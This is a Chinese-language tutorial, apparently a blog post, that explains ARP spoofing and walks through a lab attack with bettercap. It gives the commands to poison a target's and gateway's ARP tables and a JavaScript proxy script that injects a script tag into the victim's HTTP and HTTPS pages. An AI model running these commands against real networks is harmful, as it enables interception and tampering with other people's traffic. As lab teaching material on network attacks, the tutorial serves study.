声明:本文仅限学习研究讨论,切忌做非法乱纪之事!
大家好,今天简单聊聊arp欺骗吧
当两台设备在一个局域网内通信时,它们使用ARP协议来确定对方的物理地址(MAC地址)。ARP欺骗是一种网络攻击技术,利用了ARP协议的工作原理来欺骗其他设备。
想象一下,你正在与你的朋友通过一个共享网络进行聊天。你们的电脑都有唯一的IP地址和MAC地址。当你想给你的朋友发送消息时,你的电脑会发送一个广播请求,询问谁拥有你朋友的IP地址对应的MAC地址。你朋友的电脑会收到这个请求,并回复你的电脑,告诉你它的MAC地址是什么。
在ARP欺骗攻击中,攻击者会发送虚假的响应,声称自己拥有某个IP地址对应的MAC地址。这样,当你发送消息给你的朋友时,你的电脑会误认为攻击者的电脑是你朋友的电脑,将消息发送给了攻击者。攻击者可以窃听、修改或截取你的通信内容,而你并不知情。
换句话说,ARP欺骗就像是有人冒充你的朋友,站在你和你朋友之间,窃听并篡改你们之间的对话。这样攻击者可以获取你的敏感信息、登录凭证,或对你进行其他恶意操作。
这里用的工具叫做bettercap,kali自带。(靶机最好是虚拟机,最好不要在物理机上面试,不然网网络连通性可能有点问题)
第一步我们先确定一下目标机的ip
ipconfig
ip地址是192.168.x.xx
我们输入arp -a
查看arp列表
- 接口(Interface):显示该ARP表所属的网络接口,其中 "192.168.xx.x" 是接口的IP地址。
- Internet地址(Internet Address):显示已知的其他设备的IP地址。
- 物理地址(Physical Address):显示对应于每个IP地址的MAC地址,用于唯一标识设备的物理地址。
- 类型(Type):指示IP地址与MAC地址之间的关系。在此ARP表中存在两种类型:动态(Dynamic)和静态(Static)。
接下里我们用kali启动bettercap
第一次启动 显示安装这个工具
然后输入bettercap启动
是这个样子
设置欺骗地址 我们开头ipconfig那个目标机地址
1.设置要欺骗的ip地址,如果不设置,默认是全局ip
set arp.spoof.targets 192.168.xx.xxx
2.启动欺骗
arp.spoof on
显示arp.spoof
无法找到欺骗目标
怎么回事呢
是因为我们的靶机是无线网络
攻击机是nat网
在这种情况下,arp.spoof
命令可能无法直接使用。原因是NAT网络通常会为与其相连的设备提供网络地址转换,而攻击机无法直接发送伪造的ARP响应到Wi-Fi网络中。
所以我们把攻击机kali设置成桥接网络 之前我们配过直接切换即可
这里我们ifconfig
这都是啥东西啊
在Kali中使用Docker创建多个容器环境会导致您看到许多网络接口,这是正常的行为。每个Docker容器都会创建自己的网络命名空间,并分配一个虚拟网络接口。因此,启动多个Docker容器时,会看到许多新增的网络接口。
以下是一些命令处理这些网络接口
运行以下命令获取Docker虚拟桥接接口的名称:
docker network ls --filter driver=bridge --format '{{.ID}}: {{.Name}}' | awk -F': ' '{print $2}'
将列出并删除所有Docker虚拟桥接接口
docker network prune --force
然后我ifconfig看看
欧了
大家切换桥接网络的时候
切记把nat网络换成桥接网络
然后重复 arp欺骗命令
欺骗成功了
我们arp -a看一下
第一个是网关的mac地址 第四个是我kalimac地址 这两个一样 arp欺骗后 网关的mac地址就是我们攻击机的mac地址
可以欺骗了
我们现在任意给个文件目录写个脚本 我在/home/yan8925298 写的1.js
function onResponse(req,res){
if(res.ContentType.indexOf('text/html')==0){
var body=res.ReadBody();
if(body.indexOf('</head>')!=-1){
res.Body=body.replace(
'</head>',
'<script type="text/javascript">alert("your computer has hacked!")</script></head>'
);
}
}
}
- 启动bettercap
-
set arp.spoof.targets 192.168.x.x,192.168.x.xxx#设置arp欺骗的目标,这里欺骗的是网关和目标机器
set http.proxy.script /home/yan8925298/1.js #往http流量中注入脚本
set https.proxy.script /home/yan8925298/1.js #往https流量中注入脚本
http.proxy on #开启HTTP代理
https.proxy on #开启HTTPS代理
arp.spoof on #开启ARP欺骗
-
正常运行无报错即可 它会起一个8080端口 如果这个端口被占用 你运行完命令它会直接退出,所以要保证8080端口无占用。
-
这是效果图
在进行ARP欺骗攻击后,清除ARP缓存可以帮助恢复网络正常运行。(靶机)
windows:arp -d
linux:sudo ip neigh flush all